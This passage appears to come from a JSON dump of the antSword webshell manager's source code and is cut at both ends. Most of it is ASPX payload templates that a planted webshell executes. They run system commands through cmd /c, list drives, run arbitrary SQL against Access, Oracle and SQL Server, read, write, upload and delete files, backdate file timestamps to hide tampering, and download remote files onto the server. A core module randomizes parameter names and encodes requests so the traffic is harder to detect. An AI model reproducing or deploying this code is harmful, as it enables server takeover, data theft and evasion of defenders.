使用编码器进行处理并返回\n    return this.encodeComplete(tag_s, tag_e, data);\n  }\n}\n\nmodule.exports = ASPX;\n"
  },
  {
    "path": "antSword/source/core/aspx/template/base.js",
    "content": "/**\n * 基础信息模板\n * ? 获取当前路径、盘符列表\n */\n\nmodule.exports = () => ({\n  info:\n    `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(\".\")+\"\\t\");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+\":\");Response.Write(\"\\t\"+Environment.OSVersion+\"\\t\");Response.Write(Environment.UserName);`\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/template/command.js",
    "content": "/**\n * 命令执行模板\n */\n\nmodule.exports = (arg1, arg2) => ({\n  exec: {\n    _:\n      `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments=\"/c \"+System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,\n    [arg1]: \"#{base64::bin}\",\n    [arg2]: \"#{base64::cmd}\"\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/template/database/access.js",
    "content": "/**\n * access数据库驱动代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));Response.Write(Request.Item[\"${arg2}\"]+\"\\\\t\");Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    [arg2]: '#{dbname}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.ConnectionString=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String=\"\";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value==\"TABLE\"){x+=Rs.Fields(2).Value+\"\\\\t\";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,\n    [arg1]: '#{base64::conn}',\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `function TN(n:Int32):String{switch(n){case 2:return \"smallint\";case 3:return \"int\";case 4:return \"real\";case 5:return \"float\";case 6:return \"money\";case 7:return \"datetime\";case 11:return \"bit\";case 12:return \"variant\";case 16:return \"tinyint\";case 17:return \"tinyint\";case 20:return \"bigint\";case 72:return \"unique\";case 128:return \"binary\";case 129:return \"char\";case 130:return \"nchar\";case 131:return \"numeric\";case 135:return \"datetime\";case 200:return \"varchar\";case 201:return \"text\";case 202:return \"nvarchar\";case 203:return \"ntext\";case 204:return \"varbinary\";case 205:return \"image\";default:return n;}}var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+\" (\"+TN(Rs.Fields.Item(c).Type)+\")\\\\t\");}Rs.Close();Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    // SELECT TOP 1 * FROM table2\n    [arg2]: '#{base64::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");var strSQL:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String=\"\\\\t|\\\\t\",RN:String=\"\\\\r\\\\n\",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    [arg2]: '#{base64::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/template/database/default.js",
    "content": "/**\n * 默认数据库操作代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));Response.Write(\"[ADO DATABASE]\\\\t\");Conn.Close();`,\n    [arg1]: '#{base64::conn}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.ConnectionString=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String=\"\";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value==\"TABLE\"){x+=Rs.Fields(2).Value+\"\\\\t\";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`,\n    [arg1]: '#{base64::conn}',\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `function TN(n:Int32):String{switch(n){case 2:return \"smallint\";case 3:return \"int\";case 4:return \"real\";case 5:return \"float\";case 6:return \"money\";case 7:return \"datetime\";case 11:return \"bit\";case 12:return \"variant\";case 16:return \"tinyint\";case 17:return \"tinyint\";case 20:return \"bigint\";case 72:return \"unique\";case 128:return \"binary\";case 129:return \"char\";case 130:return \"nchar\";case 131:return \"numeric\";case 135:return \"datetime\";case 200:return \"varchar\";case 201:return \"text\";case 202:return \"nvarchar\";case 203:return \"ntext\";case 204:return \"varbinary\";case 205:return \"image\";default:return n;}}var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+\" (\"+TN(Rs.Fields.Item(c).Type)+\")\\\\t\");}Rs.Close();Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    // SELECT TOP 1 * FROM table3\n    [arg2]: '#{base64::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");var strSQL:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String=\"\\\\t|\\\\t\",RN:String=\"\\\\r\\\\n\",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    [arg2]: '#{base64::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/template/database/dsn.js",
    "content": "// \n// ASPX::DNS数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/aspx/template/database/microsoft_jet_oledb_4_0.js",
    "content": "// \n// ASPX::microsoft_jet_oledb_4_0数据库驱动代码模板\n// \n\nmodule.exports = require('./access');"
  },
  {
    "path": "antSword/source/core/aspx/template/database/mysql.js",
    "content": "// \n// ASPX::mysql数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/aspx/template/database/oracle.js",
    "content": "/**\n * ASPX::oracle数据库驱动代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));Response.Write(\"[ADO DATABASE]\\\\t\");Conn.Close();`,\n    // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True;\n    [arg1]: '#{base64::conn}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(\"SELECT TABLE_NAME FROM ALL_TABLES\",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+\"\\\\t\");Rs.MoveNext();}Rs.Close();Conn.Close();`,\n    [arg1]: '#{base64::conn}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `function TN(n:Int32):String{switch(n){case 2:return \"smallint\";case 3:return \"int\";case 4:return \"real\";case 5:return \"float\";case 6:return \"money\";case 7:return \"datetime\";case 11:return \"bit\";case 12:return \"variant\";case 16:return \"tinyint\";case 17:return \"tinyint\";case 20:return \"bigint\";case 72:return \"unique\";case 128:return \"binary\";case 129:return \"char\";case 130:return \"nchar\";case 131:return \"numeric\";case 135:return \"datetime\";case 200:return \"varchar\";case 201:return \"text\";case 202:return \"nvarchar\";case 203:return \"ntext\";case 204:return \"varbinary\";case 205:return \"image\";default:return n;}}var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+\" (\"+TN(Rs.Fields.Item(c).Type)+\")\\\\t\");}Rs.Close();Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A) WHERE N=1\n    [arg2]: '#{base64::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");var strSQL:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String=\"\\\\t|\\\\t\",RN:String=\"\\\\r\\\\n\",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20\n    [arg2]: '#{base64::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/template/database/sqloledb_1.js",
    "content": "// \n// ASPX::sqloledb_1数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/aspx/template/database/sqloledb_1_sspi.js",
    "content": "// \n// ASPX::sqloledb_1_sspi数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/aspx/template/database/sqlserver.js",
    "content": "/**\n * ASPX::mysql数据库驱动代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(\"SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1\",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+\"\\\\t\");Rs.MoveNext();}Rs.Close();Conn.Close();`,\n    [arg1]: '#{base64::conn}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(\"USE [\"+Request.Item[\"${arg2}\"]+\"];SELECT [name] FROM sysobjects WHERE (xtype=\\'U\\') ORDER BY 1\",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+\"\\\\t\");Rs.MoveNext();}Rs.Close();Conn.Close();`,\n    [arg1]: '#{base64::conn}',\n    [arg2]: '#{dbname}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");Conn.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));var Rs=new ActiveXObject(\"ADODB.Recordset\");Rs.Open(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"])),Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+\" (\"+Rs.Fields(1).Value+\")\\\\t\");Rs.MoveNext();}Rs.Close();Conn.Close();`,\n    // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=\n    [arg1]: '#{base64::conn}',\n    // USE [database1];SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id(\\'table1\\') and A.xtype=B.xtype ORDER BY A.colid\n    [arg2]: '#{base64::sql}',\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `var Conn=new ActiveXObject(\"Adodb.connection\");var strSQL:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String=\"\\\\t|\\\\t\",RN:String=\"\\\\r\\\\n\",Dat:String;Conn.DefaultDatabase=\"${arg3}\";var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,\n    // Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=\n    [arg1]: '#{base64::conn}',\n    // SELECT TOP 20 * FROM table1 ORDER BY 1 DESC\n    [arg2]: '#{base64::sql}',\n    [arg3]: '#{dbname}'\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/template/filemanager.js",
    "content": "/**\n * 文件管理模板\n */\n\nmodule.exports = (arg1, arg2, arg3) => ({\n  dir: {\n    _:\n      `var D=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString(\"yyyy-MM-dd HH:mm:ss\");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+\"/\\\\t\"+T(P)+\"\\\\t0\\\\t\"+(s[i].Attributes)+\"\\\\n\");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+\"\\\\t\"+T(P)+\"\\\\t\"+s[i].Length+\"\\\\t\"+(s[i].Attributes)+\"\\\\n\");}`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  delete: {\n    _:\n      `var P:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  create_file: {\n    _:\n      `var P:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"])));m.Close();Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::content}\"\n  },\n\n  read_file: {\n    _:\n      `var P:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  copy: {\n    _:\n      `var S=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));var D=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+\"\\\\\\\\\"+f[i].Name,D+\"\\\\\\\\\"+f[i].Name);for (i in d)cp(S+\"\\\\\\\\\"+d[i].Name,D+\"\\\\\\\\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::target}\"\n  },\n\n  download_file: {\n    _:\n      `Response.WriteFile(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])));`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  upload_file: {\n    _:\n      // `var P:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));var Z:String=Request.Item[\"${arg2}\"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Close();Response.Write(\"1\");`,\n      // 修改写入模式Create->Append\n      `var P:String=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));var Z:String=Request.Item[\"${arg2}\"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Append);fs.Write(B,0,B.Length);fs.Close();Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{buffer::content}\"\n  },\n\n  rename: {\n    _:\n      `var src=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])),dst=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::name}\"\n  },\n\n  retime: {\n    _:\n      `var DD=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])),TM=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"]));if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\",\n    [arg2]: \"#{base64::time}\"\n  },\n\n  mkdir: {\n    _:\n      `var D=System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"]));System.IO.Directory.CreateDirectory(D);Response.Write(\"1\");`,\n    [arg1]: \"#{base64::path}\"\n  },\n\n  wget: {\n    _:\n      `var X=new ActiveXObject(\"Microsoft.XMLHTTP\");var S=new ActiveXObject(\"Adodb.Stream\");S.Type=1;S.Mode=3;S.Open();X.Open(\"GET\",System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg1}\"])),false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile(System.Text.Encoding.GetEncoding(\"!{ANT::ENDOCE}\").GetString(System.Convert.FromBase64String(Request.Item[\"${arg2}\"])),2);S.close;S=null;X=null;Response.Write(\"1\");`,\n    [arg1]: \"#{base64::url}\",\n    [arg2]: \"#{base64::path}\"\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/base.js",
    "content": "/**\n * 中国蚁剑::核心模块::基础函数库\n * 开写：2016/04/12\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n'use strict';\n\nconst iconv = require('iconv-lite');\n\nclass Base {\n\n  /**\n   * 初始化\n   * @param  {Object} opts 配置对象\n   * @return {Object}      this\n   */\n  constructor(opts) {\n    // 默认配置\n    opts['encode'] = opts['encode'] || 'utf8';\n    opts['encoder'] = opts['encoder'] || 'default';\n    this.__opts__ = opts;\n\n    this['__encoder__'] = {\n      /**\n       * 默认编码器\n       * @param  {String} pwd  连接密码\n       * @param  {Object} data 请求数据\n       * @return {Object}      生成数据\n       */\n      default(pwd, data) {\n        data[pwd] = data['_'];\n        delete data['_'];\n        return data;\n      },\n      /**\n       * 随机编码器\n       * @param  {String} pwd  连接密码\n       * @param  {Object} data 请求数据\n       * @return {Object}      生成数据\n       */\n      random(pwd, data) {\n        let _encoders = [];\n        for (let _ in this) {\n          if (_ === 'random') { continue }\n          _encoders.push(_);\n        }\n        let _index = parseInt(Math.random() * _encoders.length);\n        return this[\n          _encoders[_index]\n        ](pwd, data);\n      }\n    }\n    // 解析自定义编码器\n    this.user_encoders.map((_)=>{\n      this.parseEncoder(`${_}`);\n    });\n  }\n\n  /**\n   * 返回参数列表\n   * @return {array} [arg1, arg2, arg3..]\n   */\n  argv() {\n    // 生成一个随机的变量名\n    let random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`;\n    // 返回六个随机变量名数组\n    return [\n      random(), random(), random(),\n      random(), random(), random()\n    ];\n  }\n\n  /**\n   * 字符串格式化处理\n   * 使用方法：const format = new format()\n   * @param  {String} encode [字符串编码，默认utf8]\n   * @return {Object}        [返回字符串处理函数对象]\n   */\n  format(encode) {\n    return {\n      /**\n       * base64编码\n       * @param  {String} str 字符串\n       * @return {String}     编码后的字符串\n       */\n      base64(str) {\n        return new Buffer(\n          iconv.encode(new Buffer(str), encode)\n        ).toString('base64');\n      },\n      /**\n       * 字符串转16进制（不进行编码转换\n       * @param  {String} str 转换的字符串\n       * @return {Buffer}     转换完成的buffer\n       */\n      buffer(str) {\n        return new Buffer(str).toString('hex').toUpperCase();\n      },\n      /**\n       * 字符串转16进制（进行编码转换\n       * @param  {String} str 转换的字符串\n       * @return {Buffer}     转换完成的buffer\n       */\n      hex(str) {\n        return new Buffer(\n          iconv.encode(new Buffer(str), encode)\n        ).toString('hex').toUpperCase();\n      }\n    }\n  }\n\n  /**\n   * 解析脚本模板\n   * @param  {String} tpl 模板文件\n   * @return {Object}     解析完毕的模板对象（参数`_`为主代码入口\n   */\n  parseTemplate(tpl) {\n    // 把模板路径的`/`转换为`_`\n    let templateName = (tpl.split('template/')[1]).replace(/\\//g, '_');\n    this[templateName] = {};\n    // 加载模板\n    let _argv = this.argv();\n    let templateObj = require(`${tpl}`)(\n      _argv[0], _argv[1], _argv[2],\n      _argv[3], _argv[4], _argv[5]\n    );\n    // let formatter = new this.format(this.__opts__['encode']);\n    let formatter = Base.prototype.format(this.__opts__['encode']);\n    // 解析模板\n    for (let funcName in templateObj) {\n      this[templateName][funcName] = (\n        (args) => {\n          if (typeof(args) === 'object') {\n            // 如果脚本函数需要参数，则进行解析\n            return (argv) => {\n              let data = {};\n              // 克隆源数据到返回数据中\n              for (let _ in args) {\n                data[_] = args[_];\n              }\n              // 循环替换脚本中的标签\n              for (let arg in args) {\n                (args[arg].match(/#{([\\w\\:]+)}/g) || []).map(\n                  // example: #{hex::str} = hex(str), #{arg1} = arg1\n                  (tag) => {\n                    let tagStr = tag.substr(2, tag.length - 3);\n                    let tagArr = tagStr.split('::');\n                    let func, retStr;\n                    if (\n                      (tagArr.length > 0) &&\n                      (func = formatter[tagArr[0]])\n                    ) {\n                      // 如果包含有分割标签且该格式化函数存在，则调用该函数进行处理\n                      retStr = func( argv[tagArr[1] || ''] );\n                    } else {\n                      // 否则替换直接返回字符串\n                      retStr = argv[tagStr] || '';\n                    }\n                    // 组合最终生成模板代码\n                    data[arg] = args[arg].replace(tag, retStr);\n                  }\n                )\n              }\n              // 发送HTTP请求\n              return data;\n            }\n          } else {\n            // 否则直接返回\n            return () => ({ _: args });\n          }\n        }\n      )(templateObj[funcName]);\n    }\n  }\n\n  /**\n   * 解析编码器\n   * ? 编码器其实模板返回的脚本对象进行编码处理，主要就是把脚本模板中的`_`主变量改为用户传递的密码\n   * @param  {String} enc 编码器文件\n   * @return {Object}     编码器处理函数对象\n   */\n  parseEncoder(enc) {\n    // 加载编码器\n    // QAQ！我也不知道为什么，如果直接require变量名，babel编译就会warning，so我只好加个`咯～\n    this['__encoder__'][enc.split('encoder/')[1]] = require(`${enc}`);\n  }\n\n  /**\n   * 编码处理并返回操作\n   * @param  {String} tag_s 前截断符\n   * @param  {String} tag_e 后截断符\n   * @param  {Object} data  源POST数据\n   * @return {Object}       最终生成数据// 将返回三个参数对象：tag_s,tag_e,data\n   */\n  encodeComplete(tag_s, tag_e, data) {\n    // 编码器处理\n    let finalData = this.__encoder__[this.__opts__['encoder']](\n      this.__opts__['pwd'],\n      data\n    );\n    return {\n      'tag_s': tag_s,\n      'tag_e': tag_e,\n      'data': finalData\n    };\n  }\n\n  /**\n   * HTTP请求函数\n   * ? 用法：core.request(core.base.info()).then((ret) => {}).catch((e) => {})..\n   * @param  {Object} code          请求源数据\n   * @param  {Function} chunkCallBack 二进制流回调函数，可选\n   * @return {Promise}               Promise操作对象\n   */\n  request(code, chunkCallBack) {\n    const opt = this.complete(code);\n    return new Promise((res, rej) => {\n      // 随机ID(用于监听数据来源)\n      const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');\n      // 监听数据返回\n      antSword['ipcRenderer']\n        // 请求完毕返回数据{text,buff}\n        .once(`request-${hash}`, (event, ret) => {\n          return res({\n            'text': ret['text'],\n            'buff': ret['buff']\n          });\n        })\n     